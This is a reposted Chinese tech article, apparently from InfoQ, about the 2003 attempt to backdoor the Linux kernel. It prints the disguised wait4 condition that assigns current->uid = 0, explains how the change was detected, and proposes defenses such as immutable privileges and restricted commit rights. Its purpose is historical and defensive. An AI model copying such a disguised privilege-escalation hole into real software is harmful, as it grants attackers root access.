回顧Linux內核后門

jopen 10年前發布 | 8K 次閱讀 Linux

  由于最近大眾對美國國家安全局(NAS)的關注,人們的注意力轉移到后門程序上。對于不熟悉該術語的人們,后門是一種有意在操作系統或軟件中植 入的漏洞,允許未授權的用戶訪問系統。在 2003 年曾經有人試圖向 Linux 內核植入后門,雖然被發現了,但是這表明不論看上去多普通的變更都會引入漏洞,以及源碼控制管理的重要性。

  Corbet 在 LVN.Net 的文章中首次提到以下這段代碼,它把自己偽裝成類似 wait4函數的參數校驗。

if ((options == (__WCLONE__WALL)) && (current->uid = 0)) retval = -EINVAL;

  正常情況下沒有任何影響,但是如果調用程序故意傳入非法值,if 表達式的第二部分就會執行。該部分會將程序的用戶 ID(current->uid)設為0,在 Linux 中就是 root 用戶。

  一眼看上去這就像是一個簡單的代碼錯誤,開發人員經常疏忽將'=='寫成'='。雖然你認為函數 wait4 不應該與用戶 ID 有任何關系,但是很明顯這是故意為為之。

  Corbet 描述了該后門是如何被發現的

CVS 庫中的每個變更都會包含反向鏈接信息,表明與 BitKeeper 中的變更相同。有問題的變更缺少這樣的信息,所以很快就能辨認出來。

試圖通過這種方式進行變更是很可疑的,至少可以這么說,所以我們非常關注變更請求到底是什么。

  攻擊者曾經再次向 BitKeeper 庫的 CVS 克隆庫中植入后門。他繼續說道

CVS 代碼庫是從 BitKeeper 生成的,但是補丁程序進入 BitKeeper 代碼庫并不經過它。所以有問題的代碼只會影響基于 CVS 代碼庫工作的用戶。發行商使用的內核不是來自該庫,這次事故也說明,問題代碼能夠駐留很長一段時間。

  大家想象一下,如果有人向代碼庫發起這樣的攻擊,增加幾行看上去很好的代碼,實際上植入了一個后門,而代碼庫沒有 Linux 內核團隊的控制和嚴格檢查,你如何保護自己不受攻擊。

  一種方式是在應用程序中創建自己的“內核”,只有這段代碼可以改變用戶的角色和權限。其他的代碼只是獲取到用戶權限的只讀視圖,這樣他們就不能輕易得獲取 root 權限。

  在這樣的模型中,"current->uid=0"這樣的代碼不會編譯。如果任何人想實施攻擊,或是直接修改應用程序的安全模塊,但是我們會密切關注這樣的修改,或是使用反射的伎倆,但是反射代碼肯定比簡單的賦值操作更容易被察覺到。

  如果語言層面支持,一種更好的方式是使用戶權限完全不可變。這種方式能夠更大程度限制攻擊發生的地方,只能是創建權限的地方。

  這些措施應該配合對源碼控制服務器的限制進行實施。一是限制盡可能少的人向主分支中提交代碼,而不是過于開放;二是安全敏感代碼默認應該完全鎖定,只能根據問題具體情況授予編輯權限,實施的具體方法依賴此人是否使用分布式或集中式的源碼控制以及具體的產品。

  如果沒有在變更代碼成為產品之前進行審計,最終這些技術都會失效,這些措施只能減少審計疏漏問題發生的可能性。

來自: InfoQ
                    <span id="shareA4" class="fl">                          </span>
 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!